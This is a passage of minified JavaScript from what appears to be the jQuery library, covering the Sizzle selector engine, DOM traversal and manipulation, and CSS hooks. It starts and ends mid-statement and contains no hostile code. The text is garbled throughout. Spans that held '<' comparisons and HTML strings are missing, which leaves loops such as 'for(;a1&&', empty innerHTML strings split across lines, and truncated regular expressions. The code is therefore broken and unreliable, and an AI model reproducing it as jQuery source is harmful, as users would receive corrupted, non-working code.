T.call(t,e)>-1},u,!0),h=[function(e,n,r){return!o&&(r||n!==c)||((t=n).nodeType?f(e,n,r):l(e,n,r))}];for(;a1&&ft(h),a>1&&e.slice(0,a-1).join(\"\").replace(j,\"$1\"),n,a0,s=e.length>0,o=function(u,a,f,l,h){var p,d,v,m=[],y=0,w=\"0\",x=u&&[],T=h!=null,N=c,C=u||s&&i.find.TAG(\"*\",h&&a.parentNode||a),k=b+=N==null?1:Math.E;T&&(c=a!==g&&a,n=o.el);for(;(p=C[w])!=null;w++){if(s&&p){for(d=0;v=e[d];d++)if(v(p,a,f)){l.push(p);break}T&&(b=k,n=++o.el)}r&&((p=!v&&p)&&y--,u&&x.push(p))}y+=w;if(r&&w!==y){for(d=0;v=t[d];d++)v(x,m,a,f);if(u){if(y>0)while(w--)!x[w]&&!m[w]&&(m[w]=E.call(l));m=lt(m)}S.apply(l,m),T&&!u&&m.length>0&&y+t.length>1&&nt.uniqueSort(l)}return T&&(b=k,c=N),x};return o.el=0,r?N(o):o}function dt(e,t,n){var r=0,i=t.length;for(;r2&&(f=u[0]).type===\"ID\"&&t.nodeType===9&&!s&&i.relative[u[1].type]){t=i.find.ID(f.matches[0].replace($,\"\"),t,s)[0];if(!t)return n;e=e.slice(u.shift().length)}for(o=J.POS.test(e)?-1:u.length-1;o>=0;o--){f=u[o];if(i.relative[l=f.type])break;if(c=i.find[l])if(r=c(f.matches[0].replace($,\"\"),z.test(u[0].type)&&t.parentNode||t,s)){u.splice(o,1),e=r.length&&u.join(\"\");if(!e)return S.apply(n,x.call(r,0)),n;break}}}return a(e,h)(r,t,s,n,z.test(e)),n}function mt(){}var n,r,i,s,o,u,a,f,l,c,h=!0,p=\"undefined\",d=(\"sizcache\"+Math.random()).replace(\".\",\"\"),m=String,g=e.document,y=g.documentElement,b=0,w=0,E=[].pop,S=[].push,x=[].slice,T=[].indexOf||function(e){var t=0,n=this.length;for(;ti.cacheLength&&delete e[t.shift()],e[n+\" \"]=r},e)},k=C(),L=C(),A=C(),O=\"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",M=\"(?:\\\\\\\\.|[-\\\\w]|[^\\\\x00-\\\\xa0])+\",_=M.replace(\"w\",\"w#\"),D=\"([*^$|!~]?=)\",P=\"\\\\[\"+O+\"*(\"+M+\")\"+O+\"*(?:\"+D+O+\"*(?:(['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|(\"+_+\")|)|)\"+O+\"*\\\\]\",H=\":(\"+M+\")(?:\\\\((?:(['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\2|([^()[\\\\]]*|(?:(?:\"+P+\")|[^:]|\\\\\\\\.)*|.*))\\\\)|)\",B=\":(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\"+O+\"*((?:-\\\\d)?\\\\d*)\"+O+\"*\\\\)|)(?=[^-]|$)\",j=new RegExp(\"^\"+O+\"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\"+O+\"+$\",\"g\"),F=new RegExp(\"^\"+O+\"*,\"+O+\"*\"),I=new RegExp(\"^\"+O+\"*([\\\\x20\\\\t\\\\r\\\\n\\\\f>+~])\"+O+\"*\"),q=new RegExp(H),R=/^(?:#([\\w\\-]+)|(\\w+)|\\.([\\w\\-]+))$/,U=/^:not/,z=/[\\x20\\t\\r\\n\\f]*[+~]/,W=/:not\\($/,X=/h\\d/i,V=/input|select|textarea|button/i,$=/\\\\(?!\\\\)/g,J={ID:new RegExp(\"^#(\"+M+\")\"),CLASS:new RegExp(\"^\\\\.(\"+M+\")\"),NAME:new RegExp(\"^\\\\[name=['\\\"]?(\"+M+\")['\\\"]?\\\\]\"),TAG:new RegExp(\"^(\"+M.replace(\"w\",\"w*\")+\")\"),ATTR:new RegExp(\"^\"+P),PSEUDO:new RegExp(\"^\"+H),POS:new RegExp(B,\"i\"),CHILD:new RegExp(\"^:(only|nth|first|last)-child(?:\\\\(\"+O+\"*(even|odd|(([+-]|)(\\\\d*)n|)\"+O+\"*(?:([+-]|)\"+O+\"*(\\\\d+)|))\"+O+\"*\\\\)|)\",\"i\"),needsContext:new RegExp(\"^\"+O+\"*[>+~]|\"+B,\"i\")},K=function(e){var t=g.createElement(\"div\");try{return e(t)}catch(n){return!1}finally{t=null}},Q=K(function(e){return e.appendChild(g.createComment(\"\")),!e.getElementsByTagName(\"*\").length}),G=K(function(e){return e.innerHTML=\"\",e.firstChild&&typeof e.firstChild.getAttribute!==p&&e.firstChild.getAttribute(\"href\")===\"#\"}),Y=K(function(e){e.innerHTML=\"\";var t=typeof e.lastChild.getAttribute(\"multiple\");return t!==\"boolean\"&&t!==\"string\"}),Z=K(function(e){return e.innerHTML=\"\",!e.getElementsByClassName||!e.getElementsByClassName(\"e\").length?!1:(e.lastChild.className=\"e\",e.getElementsByClassName(\"e\").length===2)}),et=K(function(e){e.id=d+0,e.innerHTML=\"
\",y.insertBefore(e,y.firstChild);var t=g.getElementsByName&&g.getElementsByName(d).length===2+g.getElementsByName(d+0).length;return r=!g.getElementById(d),y.removeChild(e),t});try{x.call(y.childNodes,0)[0].nodeType}catch(tt){x=function(e){var t,n=[];for(;t=this[e];e++)n.push(t);return n}}nt.matches=function(e,t){return nt(e,null,null,t)},nt.matchesSelector=function(e,t){return nt(t,null,null,[e]).length>0},s=nt.getText=function(e){var t,n=\"\",r=0,i=e.nodeType;if(i){if(i===1||i===9||i===11){if(typeof e.textContent==\"string\")return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=s(e)}else if(i===3||i===4)return e.nodeValue}else for(;t=e[r];r++)n+=s(t);return n},o=nt.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?t.nodeName!==\"HTML\":!1},u=nt.contains=y.contains?function(e,t){var n=e.nodeType===9?e.documentElement:e,r=t&&t.parentNode;return e===r||!!(r&&r.nodeType===1&&n.contains&&n.contains(r))}:y.compareDocumentPosition?function(e,t){return t&&!!(e.compareDocumentPosition(t)&16)}:function(e,t){while(t=t.parentNode)if(t===e)return!0;return!1},nt.attr=function(e,t){var n,r=o(e);return r||(t=t.toLowerCase()),(n=i.attrHandle[t])?n(e):r||Y?e.getAttribute(t):(n=e.getAttributeNode(t),n?typeof e[t]==\"boolean\"?e[t]?t:null:n.specified?n.value:null:null)},i=nt.selectors={cacheLength:50,createPseudo:N,match:J,attrHandle:G?{}:{href:function(e){return e.getAttribute(\"href\",2)},type:function(e){return e.getAttribute(\"type\")}},find:{ID:r?function(e,t,n){if(typeof t.getElementById!==p&&!n){var r=t.getElementById(e);return r&&r.parentNode?[r]:[]}}:function(e,n,r){if(typeof n.getElementById!==p&&!r){var i=n.getElementById(e);return i?i.id===e||typeof i.getAttributeNode!==p&&i.getAttributeNode(\"id\").value===e?[i]:t:[]}},TAG:Q?function(e,t){if(typeof t.getElementsByTagName!==p)return t.getElementsByTagName(e)}:function(e,t){var n=t.getElementsByTagName(e);if(e===\"*\"){var r,i=[],s=0;for(;r=n[s];s++)r.nodeType===1&&i.push(r);return i}return n},NAME:et&&function(e,t){if(typeof t.getElementsByName!==p)return t.getElementsByName(name)},CLASS:Z&&function(e,t,n){if(typeof t.getElementsByClassName!==p&&!n)return t.getElementsByClassName(e)}},relative:{\">\":{dir:\"parentNode\",first:!0},\" \":{dir:\"parentNode\"},\"+\":{dir:\"previousSibling\",first:!0},\"~\":{dir:\"previousSibling\"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace($,\"\"),e[3]=(e[4]||e[5]||\"\").replace($,\"\"),e[2]===\"~=\"&&(e[3]=\" \"+e[3]+\" \"),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),e[1]===\"nth\"?(e[2]||nt.error(e[0]),e[3]=+(e[3]?e[4]+(e[5]||1):2*(e[2]===\"even\"||e[2]===\"odd\")),e[4]=+(e[6]+e[7]||e[2]===\"odd\")):e[2]&&nt.error(e[0]),e},PSEUDO:function(e){var t,n;if(J.CHILD.test(e[0]))return null;if(e[3])e[2]=e[3];else if(t=e[4])q.test(t)&&(n=ut(t,!0))&&(n=t.indexOf(\")\",t.length-n)-t.length)&&(t=t.slice(0,n),e[0]=e[0].slice(0,n)),e[2]=t;return e.slice(0,3)}},filter:{ID:r?function(e){return e=e.replace($,\"\"),function(t){return t.getAttribute(\"id\")===e}}:function(e){return e=e.replace($,\"\"),function(t){var n=typeof t.getAttributeNode!==p&&t.getAttributeNode(\"id\");return n&&n.value===e}},TAG:function(e){return e===\"*\"?function(){return!0}:(e=e.replace($,\"\").toLowerCase(),function(t){return t.nodeName&&t.nodeName.toLowerCase()===e})},CLASS:function(e){var t=k[d][e+\" \"];return t||(t=new RegExp(\"(^|\"+O+\")\"+e+\"(\"+O+\"|$)\"))&&k(e,function(e){return t.test(e.className||typeof e.getAttribute!==p&&e.getAttribute(\"class\")||\"\")})},ATTR:function(e,t,n){return function(r,i){var s=nt.attr(r,e);return s==null?t===\"!=\":t?(s+=\"\",t===\"=\"?s===n:t===\"!=\"?s!==n:t===\"^=\"?n&&s.indexOf(n)===0:t===\"*=\"?n&&s.indexOf(n)>-1:t===\"$=\"?n&&s.substr(s.length-n.length)===n:t===\"~=\"?(\" \"+s+\" \").indexOf(n)>-1:t===\"|=\"?s===n||s.substr(0,n.length+1)===n+\"-\":!1):!0}},CHILD:function(e,t,n,r){return e===\"nth\"?function(e){var t,i,s=e.parentNode;if(n===1&&r===0)return!0;if(s){i=0;for(t=s.firstChild;t;t=t.nextSibling)if(t.nodeType===1){i++;if(e===t)break}}return i-=r,i===n||i%n===0&&i/n>=0}:function(t){var n=t;switch(e){case\"only\":case\"first\":while(n=n.previousSibling)if(n.nodeType===1)return!1;if(e===\"first\")return!0;n=t;case\"last\":while(n=n.nextSibling)if(n.nodeType===1)return!1;return!0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||nt.error(\"unsupported pseudo: \"+e);return r[d]?r(t):r.length>1?(n=[e,e,\"\",t],i.setFilters.hasOwnProperty(e.toLowerCase())?N(function(e,n){var i,s=r(e,t),o=s.length;while(o--)i=T.call(e,s[o]),e[i]=!(n[i]=s[o])}):function(e){return r(e,0,n)}):r}},pseudos:{not:N(function(e){var t=[],n=[],r=a(e.replace(j,\"$1\"));return r[d]?N(function(e,t,n,i){var s,o=r(e,null,i,[]),u=e.length;while(u--)if(s=o[u])e[u]=!(t[u]=s)}):function(e,i,s){return t[0]=e,r(t,null,s,n),!n.pop()}}),has:N(function(e){return function(t){return nt(e,t).length>0}}),contains:N(function(e){return function(t){return(t.textContent||t.innerText||s(t)).indexOf(e)>-1}}),enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return t===\"input\"&&!!e.checked||t===\"option\"&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},parent:function(e){return!i.pseudos.empty(e)},empty:function(e){var t;e=e.firstChild;while(e){if(e.nodeName>\"@\"||(t=e.nodeType)===3||t===4)return!1;e=e.nextSibling}return!0},header:function(e){return X.test(e.nodeName)},text:function(e){var t,n;return e.nodeName.toLowerCase()===\"input\"&&(t=e.type)===\"text\"&&((n=e.getAttribute(\"type\"))==null||n.toLowerCase()===t)},radio:rt(\"radio\"),checkbox:rt(\"checkbox\"),file:rt(\"file\"),password:rt(\"password\"),image:rt(\"image\"),submit:it(\"submit\"),reset:it(\"reset\"),button:function(e){var t=e.nodeName.toLowerCase();return t===\"input\"&&e.type===\"button\"||t===\"button\"},input:function(e){return V.test(e.nodeName)},focus:function(e){var t=e.ownerDocument;return e===t.activeElement&&(!t.hasFocus||t.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},active:function(e){return e===e.ownerDocument.activeElement},first:st(function(){return[0]}),last:st(function(e,t){return[t-1]}),eq:st(function(e,t,n){return[n<0?n+t:n]}),even:st(function(e,t){for(var n=0;n=0;)e.push(r);return e}),gt:st(function(e,t,n){for(var r=n<0?n+t:n;++r\",e.querySelectorAll(\"[selected]\").length||i.push(\"\\\\[\"+O+\"*(?:checked|disabled|ismap|multiple|readonly|selected|value)\"),e.querySelectorAll(\":checked\").length||i.push(\":checked\")}),K(function(e){e.innerHTML=\"

\",e.querySelectorAll(\"[test^='']\").length&&i.push(\"[*^$]=\"+O+\"*(?:\\\"\\\"|'')\"),e.innerHTML=\"\",e.querySelectorAll(\":enabled\").length||i.push(\":enabled\",\":disabled\")}),i=new RegExp(i.join(\"|\")),vt=function(e,r,s,o,u){if(!o&&!u&&!i.test(e)){var a,f,l=!0,c=d,h=r,p=r.nodeType===9&&e;if(r.nodeType===1&&r.nodeName.toLowerCase()!==\"object\"){a=ut(e),(l=r.getAttribute(\"id\"))?c=l.replace(n,\"\\\\$&\"):r.setAttribute(\"id\",c),c=\"[id='\"+c+\"'] \",f=a.length;while(f--)a[f]=c+a[f].join(\"\");h=z.test(e)&&r.parentNode||r,p=a.join(\",\")}if(p)try{return S.apply(s,x.call(h.querySelectorAll(p),0)),s}catch(v){}finally{l||r.removeAttribute(\"id\")}}return t(e,r,s,o,u)},u&&(K(function(t){e=u.call(t,\"div\");try{u.call(t,\"[test!='']:sizzle\"),s.push(\"!=\",H)}catch(n){}}),s=new RegExp(s.join(\"|\")),nt.matchesSelector=function(t,n){n=n.replace(r,\"='$1']\");if(!o(t)&&!s.test(n)&&!i.test(n))try{var a=u.call(t,n);if(a||e||t.document&&t.document.nodeType!==11)return a}catch(f){}return nt(n,null,null,[t]).length>0})}(),i.pseudos.nth=i.pseudos.eq,i.filters=mt.prototype=i.pseudos,i.setFilters=new mt,nt.attr=v.attr,v.find=nt,v.expr=nt.selectors,v.expr[\":\"]=v.expr.pseudos,v.unique=nt.uniqueSort,v.text=nt.getText,v.isXMLDoc=nt.isXML,v.contains=nt.contains}(e);var nt=/Until$/,rt=/^(?:parents|prev(?:Until|All))/,it=/^.[^:#\\[\\.,]*$/,st=v.expr.match.needsContext,ot={children:!0,contents:!0,next:!0,prev:!0};v.fn.extend({find:function(e){var t,n,r,i,s,o,u=this;if(typeof e!=\"string\")return v(e).filter(function(){for(t=0,n=u.length;t0)for(i=r;i=0:v.filter(e,this).length>0:this.filter(e).length>0)},closest:function(e,t){var n,r=0,i=this.length,s=[],o=st.test(e)||typeof e!=\"string\"?v(e,t||this.context):0;for(;r-1:v.find.matchesSelector(n,e)){s.push(n);break}n=n.parentNode}}return s=s.length>1?v.unique(s):s,this.pushStack(s,\"closest\",e)},index:function(e){return e?typeof e==\"string\"?v.inArray(this[0],v(e)):v.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.prevAll().length:-1},add:function(e,t){var n=typeof e==\"string\"?v(e,t):v.makeArray(e&&e.nodeType?[e]:e),r=v.merge(this.get(),n);return this.pushStack(ut(n[0])||ut(r[0])?r:v.unique(r))},addBack:function(e){return this.add(e==null?this.prevObject:this.prevObject.filter(e))}}),v.fn.andSelf=v.fn.addBack,v.each({parent:function(e){var t=e.parentNode;return t&&t.nodeType!==11?t:null},parents:function(e){return v.dir(e,\"parentNode\")},parentsUntil:function(e,t,n){return v.dir(e,\"parentNode\",n)},next:function(e){return at(e,\"nextSibling\")},prev:function(e){return at(e,\"previousSibling\")},nextAll:function(e){return v.dir(e,\"nextSibling\")},prevAll:function(e){return v.dir(e,\"previousSibling\")},nextUntil:function(e,t,n){return v.dir(e,\"nextSibling\",n)},prevUntil:function(e,t,n){return v.dir(e,\"previousSibling\",n)},siblings:function(e){return v.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return v.sibling(e.firstChild)},contents:function(e){return v.nodeName(e,\"iframe\")?e.contentDocument||e.contentWindow.document:v.merge([],e.childNodes)}},function(e,t){v.fn[e]=function(n,r){var i=v.map(this,t,n);return nt.test(e)||(r=n),r&&typeof r==\"string\"&&(i=v.filter(r,i)),i=this.length>1&&!ot[e]?v.unique(i):i,this.length>1&&rt.test(e)&&(i=i.reverse()),this.pushStack(i,e,l.call(arguments).join(\",\"))}}),v.extend({filter:function(e,t,n){return n&&(e=\":not(\"+e+\")\"),t.length===1?v.find.matchesSelector(t[0],e)?[t[0]]:[]:v.find.matches(e,t)},dir:function(e,n,r){var i=[],s=e[n];while(s&&s.nodeType!==9&&(r===t||s.nodeType!==1||!v(s).is(r)))s.nodeType===1&&i.push(s),s=s[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)e.nodeType===1&&e!==t&&n.push(e);return n}});var ct=\"abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video\",ht=/ jQuery\\d+=\"(?:null|\\d+)\"/g,pt=/^\\s+/,dt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^>]*)\\/>/gi,vt=/<([\\w:]+)/,mt=/]\",\"i\"),Et=/^(?:checkbox|radio)$/,St=/checked\\s*(?:[^=]|=\\s*.checked.)/i,xt=/\\/(java|ecma)script/i,Tt=/^\\s*\\s*$/g,Nt={option:[1,\"\"],legend:[1,\"
\",\"
\"],thead:[1,\"\",\"
\"],tr:[2,\"\",\"
\"],td:[3,\"\",\"
\"],col:[2,\"\",\"
\"],area:[1,\"\",\"\"],_default:[0,\"\",\"\"]},Ct=lt(i),kt=Ct.appendChild(i.createElement(\"div\"));Nt.optgroup=Nt.option,Nt.tbody=Nt.tfoot=Nt.colgroup=Nt.caption=Nt.thead,Nt.th=Nt.td,v.support.htmlSerialize||(Nt._default=[1,\"X
\",\"
\"]),v.fn.extend({text:function(e){return v.access(this,function(e){return e===t?v.text(this):this.empty().append((this[0]&&this[0].ownerDocument||i).createTextNode(e))},null,e,arguments.length)},wrapAll:function(e){if(v.isFunction(e))return this.each(function(t){v(this).wrapAll(e.call(this,t))});if(this[0]){var t=v(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&e.firstChild.nodeType===1)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return v.isFunction(e)?this.each(function(t){v(this).wrapInner(e.call(this,t))}):this.each(function(){var t=v(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=v.isFunction(e);return this.each(function(n){v(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){v.nodeName(this,\"body\")||v(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)&&this.appendChild(e)})},prepend:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)&&this.insertBefore(e,this.firstChild)})},before:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(e,this),\"before\",this.selector)}},after:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this.nextSibling)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(this,e),\"after\",this.selector)}},remove:function(e,t){var n,r=0;for(;(n=this[r])!=null;r++)if(!e||v.filter(e,[n]).length)!t&&n.nodeType===1&&(v.cleanData(n.getElementsByTagName(\"*\")),v.cleanData([n])),n.parentNode&&n.parentNode.removeChild(n);return this},empty:function(){var e,t=0;for(;(e=this[t])!=null;t++){e.nodeType===1&&v.cleanData(e.getElementsByTagName(\"*\"));while(e.firstChild)e.removeChild(e.firstChild)}return this},clone:function(e,t){return e=e==null?!1:e,t=t==null?e:t,this.map(function(){return v.clone(this,e,t)})},html:function(e){return v.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return n.nodeType===1?n.innerHTML.replace(ht,\"\"):t;if(typeof e==\"string\"&&!yt.test(e)&&(v.support.htmlSerialize||!wt.test(e))&&(v.support.leadingWhitespace||!pt.test(e))&&!Nt[(vt.exec(e)||[\"\",\"\"])[1].toLowerCase()]){e=e.replace(dt,\"<$1>\");try{for(;r1&&typeof f==\"string\"&&St.test(f))return this.each(function(){v(this).domManip(e,n,r)});if(v.isFunction(f))return this.each(function(i){var s=v(this);e[0]=f.call(this,i,n?s.html():t),s.domManip(e,n,r)});if(this[0]){i=v.buildFragment(e,this,l),o=i.fragment,s=o.firstChild,o.childNodes.length===1&&(o=s);if(s){n=n&&v.nodeName(s,\"tr\");for(u=i.cacheable||c-1;a0?this.clone(!0):this).get(),v(o[i])[t](r),s=s.concat(r);return this.pushStack(s,e,o.selector)}}),v.extend({clone:function(e,t,n){var r,i,s,o;v.support.html5Clone||v.isXMLDoc(e)||!wt.test(\"<\"+e.nodeName+\">\")?o=e.cloneNode(!0):(kt.innerHTML=e.outerHTML,kt.removeChild(o=kt.firstChild));if((!v.support.noCloneEvent||!v.support.noCloneChecked)&&(e.nodeType===1||e.nodeType===11)&&!v.isXMLDoc(e)){Ot(e,o),r=Mt(e),i=Mt(o);for(s=0;r[s];++s)i[s]&&Ot(r[s],i[s])}if(t){At(e,o);if(n){r=Mt(e),i=Mt(o);for(s=0;r[s];++s)At(r[s],i[s])}}return r=i=null,o},clean:function(e,t,n,r){var s,o,u,a,f,l,c,h,p,d,m,g,y=t===i&&Ct,b=[];if(!t||typeof t.createDocumentFragment==\"undefined\")t=i;for(s=0;(u=e[s])!=null;s++){typeof u==\"number\"&&(u+=\"\");if(!u)continue;if(typeof u==\"string\")if(!gt.test(u))u=t.createTextNode(u);else{y=y||lt(t),c=t.createElement(\"div\"),y.appendChild(c),u=u.replace(dt,\"<$1>\"),a=(vt.exec(u)||[\"\",\"\"])[1].toLowerCase(),f=Nt[a]||Nt._default,l=f[0],c.innerHTML=f[1]+u+f[2];while(l--)c=c.lastChild;if(!v.support.tbody){h=mt.test(u),p=a===\"table\"&&!h?c.firstChild&&c.firstChild.childNodes:f[1]===\"\"&&!h?c.childNodes:[];for(o=p.length-1;o>=0;--o)v.nodeName(p[o],\"tbody\")&&!p[o].childNodes.length&&p[o].parentNode.removeChild(p[o])}!v.support.leadingWhitespace&&pt.test(u)&&c.insertBefore(t.createTextNode(pt.exec(u)[0]),c.firstChild),u=c.childNodes,c.parentNode.removeChild(c)}u.nodeType?b.push(u):v.merge(b,u)}c&&(u=c=y=null);if(!v.support.appendChecked)for(s=0;(u=b[s])!=null;s++)v.nodeName(u,\"input\")?_t(u):typeof u.getElementsByTagName!=\"undefined\"&&v.grep(u.getElementsByTagName(\"input\"),_t);if(n){m=function(e){if(!e.type||xt.test(e.type))return r?r.push(e.parentNode?e.parentNode.removeChild(e):e):n.appendChild(e)};for(s=0;(u=b[s])!=null;s++)if(!v.nodeName(u,\"script\")||!m(u))n.appendChild(u),typeof u.getElementsByTagName!=\"undefined\"&&(g=v.grep(v.merge([],u.getElementsByTagName(\"script\")),m),b.splice.apply(b,[s+1,0].concat(g)),s+=g.length)}return b},cleanData:function(e,t){var n,r,i,s,o=0,u=v.expando,a=v.cache,f=v.support.deleteExpando,l=v.event.special;for(;(i=e[o])!=null;o++)if(t||v.acceptData(i)){r=i[u],n=r&&a[r];if(n){if(n.events)for(s in n.events)l[s]?v.event.remove(i,s):v.removeEvent(i,s,n.handle);a[r]&&(delete a[r],f?delete i[u]:i.removeAttribute?i.removeAttribute(u):i[u]=null,v.deletedIds.push(r))}}}}),function(){var e,t;v.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \\/]([\\w.]+)/.exec(e)||/(webkit)[ \\/]([\\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \\/]([\\w.]+)/.exec(e)||/(msie) ([\\w.]+)/.exec(e)||e.indexOf(\"compatible\")<0&&/(mozilla)(?:.*? rv:([\\w.]+)|)/.exec(e)||[];return{browser:t[1]||\"\",version:t[2]||\"0\"}},e=v.uaMatch(o.userAgent),t={},e.browser&&(t[e.browser]=!0,t.version=e.version),t.chrome?t.webkit=!0:t.webkit&&(t.safari=!0),v.browser=t,v.sub=function(){function e(t,n){return new e.fn.init(t,n)}v.extend(!0,e,this),e.superclass=this,e.fn=e.prototype=this(),e.fn.constructor=e,e.sub=this.sub,e.fn.init=function(r,i){return i&&i instanceof v&&!(i instanceof e)&&(i=e(i)),v.fn.init.call(this,r,i,t)},e.fn.init.prototype=e.fn;var t=e(i);return e}}();var Dt,Pt,Ht,Bt=/alpha\\([^)]*\\)/i,jt=/opacity=([^)]*)/,Ft=/^(top|right|bottom|left)$/,It=/^(none|table(?!-c[ea]).+)/,qt=/^margin/,Rt=new RegExp(\"^(\"+m+\")(.*)$\",\"i\"),Ut=new RegExp(\"^(\"+m+\")(?!px)[a-z%]+$\",\"i\"),zt=new RegExp(\"^([-+])=(\"+m+\")\",\"i\"),Wt={BODY:\"block\"},Xt={position:\"absolute\",visibility:\"hidden\",display:\"block\"},Vt={letterSpacing:0,fontWeight:400},$t=[\"Top\",\"Right\",\"Bottom\",\"Left\"],Jt=[\"Webkit\",\"O\",\"Moz\",\"ms\"],Kt=v.fn.toggle;v.fn.extend({css:function(e,n){return v.access(this,function(e,n,r){return r!==t?v.style(e,n,r):v.css(e,n)},e,n,arguments.length>1)},show:function(){return Yt(this,!0)},hide:function(){return Yt(this)},toggle:function(e,t){var n=typeof e==\"boolean\";return v.isFunction(e)&&v.isFunction(t)?Kt.apply(this,arguments):this.each(function(){(n?e:Gt(this))?v(this).show():v(this).hide()})}}),v.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Dt(e,\"opacity\");return n===\"\"?\"1\":n}}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":v.support.cssFloat?\"cssFloat\":\"styleFloat\"},style:function(e,n,r,i){if(!e||e.nodeType===3||e.nodeType===8||!e.style)return;var s,o,u,a=v.camelCase(n),f=e.style;n=v.cssProps[a]||(v.cssProps[a]=Qt(f,a)),u=v.cssHooks[n]||v.cssHooks[a];if(r===t)return u&&\"get\"in u&&(s=u.get(e,!1,i))!==t?s:f[n];o=typeof r,o===\"string\"&&(s=zt.exec(r))&&(r=(s[1]+1)*s[2]+parseFloat(v.css(e,n)),o=\"number\");if(r==null||o===\"number\"&&isNaN(r))return;o===\"number\"&&!v.cssNumber[a]&&(r+=\"px\");if(!u||!(\"set\"in u)||(r=u.set(e,r,i))!==t)try{f[n]=r}catch(l){}},css:function(e,n,r,i){var s,o,u,a=v.camelCase(n);return n=v.cssProps[a]||(v.cssProps[a]=Qt(e.style,a)),u=v.cssHooks[n]||v.cssHooks[a],u&&\"get\"in u&&(s=u.get(e,!0,i)),s===t&&(s=Dt(e,n)),s===\"normal\"&&n in Vt&&(s=Vt[n]),r||i!==t?(o=parseFloat(s),r||v.isNumeric(o)?o||0:s):s},swap:function(e,t,n){var r,i,s={};for(i in t)s[i]=e.style[i],e.style[i]=t[i];r=n.call(e);for(i in t)e.style[i]=s[i];return r}}),e.getComputedStyle?Dt=function(t,n){var r,i,s,o,u=e.getComputedStyle(t,null),a=t.style;return u&&(r=u.getPropertyValue(n)||u[n],r===\"\"&&!v.contains(t.ownerDocument,t)&&(r=v.style(t,n)),Ut.test(r)&&qt.test(n)&&(i=a.width,s=a.minWidth,o=a.maxWidth,a.minWidth=a.maxWidth=a.width=r,r=u.width,a.width=i,a.minWidth=s,a.maxWidth=o)),r}:i.documentElement.currentStyle&&(Dt=function(e,t){var n,r,i=e.currentStyle&&e.currentStyle[t],s=e.style;return i==null&&s&&s[t]&&(i=s[t]),Ut.test(i)&&!Ft.test(t)&&(n=s.left,r=e.runtimeStyle&&e.runtimeStyle.left,r&&(e.runtimeStyle.left=e.currentStyle.left),s.left=t===\"fontSize\"?\"1em\":i,i=s.pixelLeft+\"px\",s.left=n,r&&(e.runtimeStyle.left=r)),i===\"\"?\"auto\":i}),v.each([\"height\",\"width\"],function(e,t){v.cssHooks[t]={get:function(e,n,r){if(n)return e.offsetWidth===0&&It.test(Dt(e,\"display\"))?v.swap(e,Xt,function(){return tn(e,t,r)}):tn(e,t,r)},set:function(e,n,r){return Zt(e,n,r?en(e,t,r,v.support.boxSizing&&v.css(e,\"boxSizing\")===\"border-box\"):0)}}}),v.support.opacity||(v.cssHooks.opacity={get:function(e,t){return jt.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||\"\")?.01*parseFloat(RegExp.$1)+\"\":t?\"1\":\"\"},set:function(e,t){var n=e.style,r=e.currentStyle,i=v.isNumeric(t)?\"alpha(opacity=\"+t*100+\")\":\"\",s=r&&r.filter||n.filter||\"\";n.zoom=1;if(t>=1&&v.trim(s.replace(Bt,\"\"))===\"\"&&n.removeAttribute){n.removeAttribute(\"filter\");if(r&&!r.filter)return}n.filter=Bt.test(s)?s.replace(Bt,i):s+\" \"+i}}),v(function(){v.support.reliableMarginRight||(v.cssHooks.marginRight={get:function(e,t){return v.swap(e,{display:\"inline-block\"},function(){if(t)return Dt(e,\"marginRight\")})}}),!v.support.pixelPosition&&v.fn.position&&v.each([\"top\",\"left\"],function(e,t){v.cssHooks[t]={get:function(e,n){if(n){var r=Dt(e,t);return Ut.test(r)?v(e).position()[t]+\"px\":r}}}})}),v.expr&&v.expr.filters&&(v.expr.filters.hidden=function(e){return e.offsetWidth===0&&e.offsetHeight===0||!v.support.reliableHiddenOffsets&&(e.style&&e.style.display||Dt(e,\"display\"))===\"none\"},v.expr.filters.visible=function(e){return!v.expr.filters.hidden(e)}),v.each({margin:\"\",padding:\"\",border:\"Width\"},function(e,t){v.cssHooks[e+t]={expand:function(n){var r,i=typeof n==\"string\"?n.split(\" 